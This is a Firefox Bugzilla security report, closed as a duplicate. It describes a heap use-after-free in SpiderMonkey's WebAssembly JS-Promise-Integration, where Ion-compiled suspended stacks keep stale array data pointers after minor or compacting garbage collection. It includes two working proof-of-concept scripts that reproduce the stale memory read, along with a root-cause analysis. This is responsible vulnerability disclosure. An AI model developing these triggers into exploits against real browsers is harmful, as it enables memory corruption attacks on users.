Closed Bug 2022667 Opened 8 months ago Closed 8 months ago

Heap UAF: WebAssembly JS-Promise-Integration suspended stacks have stale ArrayDataPointer after minor GC

Categories

(Core :: JavaScript: WebAssembly, defect, P1)

Firefox 150
defect

Tracking

()

RESOLVED DUPLICATE of bug 2008358

People

(Reporter: zzjas98, Unassigned)

References

(Blocks 1 open bug)

Details

(4 keywords)

Steps to reproduce:

Run js --fuzzing-safe --wasm-compiler=ion --setpref=wasm_js_promise_integration=true poc.js with the following code:

const MAGIC = 0x12345678;

let suspendingFn = new WebAssembly.Suspending(async () => {
    minorgc();
    return 0;
});

let watCode = `(module
  (type $arr (array i32))
  (import "m" "suspend" (func $suspend (result i32)))

  (global $before_val (export "before_val") (mut i32) (i32.const 0))
  (global $after_val (export "after_val") (mut i32) (i32.const 0))

  (func (export "test") (result i32)
    (local $a (ref $arr))
    ;; Allocate nursery array: 8 elements, all 0x12345678
    (local.set $a (array.new $arr (i32.const 0x12345678) (i32.const 8)))
    ;; Read element 1 (loads arr.data_ as ArrayDataPointer)
    (global.set $before_val (array.get $arr (local.get $a) (i32.const 1)))
    ;; Suspend — minorgc() promotes array to tenured heap
    (drop (call $suspend))
    ;; Read element 2 — GVN-CSE'd data pointer is stale, reads freed nursery
    (global.set $after_val (array.get $arr (local.get $a) (i32.const 2)))
    (i32.const 0)
  )
)`;

let mod = new WebAssembly.Module(wasmTextToBinary(watCode));
let ins = new WebAssembly.Instance(mod, {m: {suspend: suspendingFn}});

let promisingTest = WebAssembly.promising(ins.exports.test);
promisingTest().then(() => {
    let before = ins.exports.before_val.value;
    let after = ins.exports.after_val.value;
    print("before_val (pre-suspend):  0x" + (before >>> 0).toString(16));
    print("after_val  (post-resume):  0x" + (after >>> 0).toString(16));
    print("expected:                  0x" + MAGIC.toString(16));
});

Actual results:

before_val (pre-suspend):  0x12345678
after_val  (post-resume):  0x2f2f2f2f
expected:                  0x12345678

Expected results:

before_val (pre-suspend):  0x12345678
after_val  (post-resume):  0x12345678
expected:                  0x12345678

Removing --wasm-compiler=ion will give the expected results.

Analysis

When a wasm function is suspended via JSPI (WebAssembly.Suspending/WebAssembly.promising), its stack frames are removed from the JitActivation chain. If a minor GC occurs while the stack is suspended, UpdateJitActivationsForMinorGC does not visit the suspended frames, so updateFrameForMovingGC() is never called on them. Any WasmArrayDataPointer stack map entries in those frames become stale after the nursery array is promoted to the tenured heap, resulting in a heap use-after-free on resume.

This is made reachable by the fact that wasmCallAliasSet() explicitly excludes WasmArrayDataPointer from stores, allowing GVN/LICM to hoist data pointer loads across calls — relying on the invariant that "the GC will rewrite any array data pointers on move." For JSPI-suspended frames, this invariant is violated.

Notes

Tested on commit 8aceb3039998f478494621f36b1dc6c7d70ebf11

The wasm_js_promise_integration is still off by default now, so I believe it does not affect most normal user, but marking it as private just in case because it's a fairly easy heap UAF. Please feel free to unhide it if appropriate.

Please let me know if I can provide any more information, thanks!

Group: core-security → javascript-core-security

The same issue applies to UpdateJitActivationsForCompactingGC path as well:

let resolver;
let sf = new WebAssembly.Suspending(() => new Promise(r => { resolver = r; }));

let mod = new WebAssembly.Module(wasmTextToBinary(`(module
  (type $arr (array (mut i32)))
  (import "m" "suspend" (func $suspend))
  (func (export "test") (result i32)
    (local $a (ref null $arr))
    (local.set $a (array.new_default $arr (i32.const 10)))
    (array.set $arr (local.get $a) (i32.const 0) (i32.const 99))
    (drop (array.get $arr (local.get $a) (i32.const 0)))
    (call $suspend)
    (array.get $arr (local.get $a) (i32.const 0))
  )
)`));

let ins = new WebAssembly.Instance(mod, {m: {suspend: sf}});
let p = WebAssembly.promising(ins.exports.test);

gczeal(7, 1);   // minor GC on every alloc -> array promoted to tenured while active
let result = p();
gczeal(0, 0);

gczeal(14, 1);  // compacting GC moves tenured array, poisons old location
gc();
gczeal(0, 0);

resolver();     // resume: stale tenured data ptr -> reads poisoned memory
result.then(v => print("PASS: " + v), e => print("BUG: " + e));
drainJobQueue();

Gives: BUG: RuntimeError: dereferencing null pointer
Without ION: PASS: 99

Blocks: sm-security
Severity: -- → S2
Priority: -- → P1

Thanks for this report! This is duplicate of bug 2008358.

Status: UNCONFIRMED → RESOLVED
Closed: 8 months ago
Duplicate of bug: 2008358
Resolution: --- → DUPLICATE
Group: javascript-core-security
You need to log in before you can comment on or make changes to this bug.